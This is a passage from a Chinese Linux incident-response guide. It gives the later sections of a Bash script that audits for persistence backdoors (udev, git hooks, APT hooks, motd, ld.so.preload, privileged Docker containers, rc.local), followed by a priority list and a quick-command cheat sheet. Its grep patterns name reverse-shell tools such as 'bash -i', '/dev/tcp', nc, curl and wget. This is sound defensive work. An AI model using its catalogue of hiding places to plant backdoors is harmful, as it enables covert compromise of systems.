Shell 连接" echo "--- 可疑外连 ---" ss -tnp 2>/dev/null | grep -E "ESTAB|SYN-SENT" | grep -vE ":22 |:80 |:443 " section "16/26 - udev 规则" echo "--- /etc/udev/rules.d/ ---" ls -la /etc/udev/rules.d/ 2>/dev/nullgrep -rn "RUN+=" /etc/udev/rules.d/ 2>/dev/null section "17/26 - Git Hooks" echo "--- 可执行的 Git Hooks ---" find /root /home /srv /var /opt -path "*/.git/hooks/*" -executable -not -name "*.sample" -type f 2>/dev/null echo "--- 全局 Git 配置 ---" for home in /root /home/*; do cfg="$home /.gitconfig" [ -f "$cfg " ] && grep -E "templateDir|hooksPath" "$cfg " 2>/dev/null && warn "自定义 hooks 配置: $cfg " done section "18/26 - APT/YUM Hooks" echo "--- APT Hooks ---" grep -rn "Invoke" /etc/apt/apt.conf.d/ 2>/dev/null echo "--- YUM Plugins ---" ls -la /etc/yum/pluginconf.d/ 2>/dev/nullls -la /usr/lib/yum-plugins/ 2>/dev/nullsection "19/26 - Trap 命令" grep -rn "trap " /etc/bash.bashrc /etc/profile /etc/profile.d/ \ /root/.bashrc /home/*/.bashrc 2>/dev/null | grep -E "DEBUG|EXIT|ERR" section "20/26 - Linux Capabilities" echo "--- 设置了 Capabilities 的文件 ---" getcap -r / 2>/dev/null | grep -vE "^$" | while read line; do echo "$line " f=$(echo "$line " | awk '{print $1}' ) echo "$line " | grep -qE "cap_setuid|cap_setgid|cap_dac|cap_sys_admin|cap_sys_ptrace" && \ alert "高危 Capability: $line " done section "21/26 - motd 后门" echo "--- /etc/update-motd.d/ ---" ls -la /etc/update-motd.d/ 2>/dev/nullfor f in /etc/update-motd.d/*; do [ -f "$f " ] || continue suspicious=$(grep -nE "(curl|wget|nc |bash -i|/dev/tcp|python|nohup)" "$f " 2>/dev/null) [ -n "$suspicious " ] && alert "可疑 motd 脚本 $f : $suspicious " done section "22/26 - 内核模块自动加载配置" echo "--- /etc/modules ---" cat /etc/modules 2>/dev/nullecho "--- /etc/modules-load.d/ ---" cat /etc/modules-load.d/*.conf 2>/dev/nullecho "--- modprobe.d install 指令 ---" grep -rn "^install" /etc/modprobe.d/ /lib/modprobe.d/ 2>/dev/null | grep -v "/bin/true\|/bin/false" section "23/26 - initramfs / GRUB" echo "--- 内核命令行 ---" cat /proc/cmdlineecho "--- GRUB 配置 ---" grep "GRUB_CMDLINE" /etc/default/grub 2>/dev/null echo "--- initramfs hooks ---" ls -la /etc/initramfs-tools/hooks/ 2>/dev/nullls -la /etc/initramfs-tools/scripts/init-bottom/ 2>/dev/nullecho "--- /boot 文件修改时间 ---" ls -la /boot/initrd* /boot/initramfs* /boot/grub/grub.cfg 2>/dev/nullsection "24/26 - Docker 容器安全" if command -v docker &>/dev/null; then echo "--- Privileged 容器 ---" docker ps -q 2>/dev/null | while read cid; do name=$(docker inspect --format '{{.Name}}' "$cid " 2>/dev/null) priv=$(docker inspect --format '{{.HostConfig.Privileged}}' "$cid " 2>/dev/null) [ "$priv " = "true" ] && alert "Privileged 容器: $name ($cid )" docker inspect --format '{{range .Mounts}}{{.Source}} {{end}}' "$cid " 2>/dev/null | \ grep -q "docker.sock" && alert "Docker socket 暴露: $name ($cid )" done else ok "Docker 未安装" fi section "25/26 - 动态链接器配置" echo "--- /etc/ld.so.conf.d/ ---" for f in /etc/ld.so.conf.d/*.conf; do [ -f "$f " ] || continue dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || warn "ORPHAN: $f " done echo "--- /etc/ld.so.preload ---" cat /etc/ld.so.preload 2>/dev/null && alert "/etc/ld.so.preload 存在内容!" section "26/26 - rc.local / init.d" echo "--- rc.local ---" if [ -x /etc/rc.local ]; then warn "/etc/rc.local 可执行!" cat /etc/rc.local else ok "/etc/rc.local 不可执行或不存在" fi echo "--- 非包管理的 init.d 脚本 ---" for f in /etc/init.d/*; do [ -f "$f " ] || continue dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || warn "ORPHAN: $f " done section "排查完成" echo "" echo "报告生成时间: $(date) " echo "主机名: $(hostname) " echo "内核版本: $(uname -r) " echo "" echo "请重点关注标记为 [!!!] 的告警项"
13.3 排查优先级建议 第一优先级(最常见的持久化方式)
Crontab 计划任务
SSH authorized_keys
Systemd Service
Bashrc / Profile
rc.local
第二优先级(中等常见)
SUID 后门
LD_PRELOAD
PAM 后门
at 任务
Alias 后门
反弹 Shell 连接
第三优先级(较冷门但危险)
udev 规则
Git Hooks(开发环境重点)
APT/YUM Hooks
Linux Capabilities
motd 后门
Trap 命令
动态链接器配置
第四优先级(高级持久化,需要深度排查)
内核模块 (LKM / Rootkit)
initramfs / GRUB
Docker 逃逸
内核 syscall table Hook
inetd/xinetd
13.4 快速排查命令速查表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 crontab -l; ls /etc/cron.d/; cat /etc/crontab atq; ls /var/spool/at/ cat /root/.ssh/authorized_keys; find /home -name authorized_keys -exec cat {} \;systemctl list-unit-files --state=enabled --type =service grep -rn "curl\|wget\|nc \|bash -i\|/dev/tcp\|base64\|eval" /etc/profile.d/ /etc/bash.bashrc /root/.bashrc /home/*/.bashrc 2>/dev/null find / -perm -4000 -type f 2>/dev/null; getcap -r / 2>/dev/null cat /etc/ld.so.preload 2>/dev/null; ls /etc/ld.so.conf.d/grep -rn "RUN+=" /etc/udev/rules.d/ 2>/dev/null ls -la /etc/update-motd.d/ 2>/dev/nullgrep "^install" /etc/modprobe.d/*.conf /lib/modprobe.d/*.conf 2>/dev/null | grep -v "true\|false" test -x /etc/rc.local && cat /etc/rc.localdocker ps --format '{{.Names}}' 2>/dev/null | xargs -I{} docker inspect --format '{}: Privileged={{.HostConfig.Privileged}}' {} 2>/dev/null find /home /srv /opt -path "*/.git/hooks/*" -executable -not -name "*.sample" -type f 2>/dev/null grep -rn "Invoke" /etc/apt/apt.conf.d/ 2>/dev/null grep -rn "trap.*DEBUG\|trap.*EXIT\|trap.*ERR" /etc/bash.bashrc /root/.bashrc /home/*/.bashrc 2>/dev/null cat /proc/cmdline; grep "init=" /etc/default/grub 2>/dev/null
总结 本页补充了 12 种在传统排查 checklist 中容易被遗漏的持久化技术
关键认知 :攻击者永远在寻找防御者的盲区,没有被检查的位置就是最好的藏身之处
核心原则 :
文件不属于任何包管理器 → 可疑
配置/脚本近期被修改且无对应变更记录 → 可疑
以 root 权限自动执行但功能描述含糊 → 可疑
建议 :将本页的排查脚本纳入标准应急响应流程的第一步
完整系列导航:
基础排查:15-Crontab后门 ~ 27-反弹Shell技术与检测
冷门补充:本页
自动化工具:31-自动化排查脚本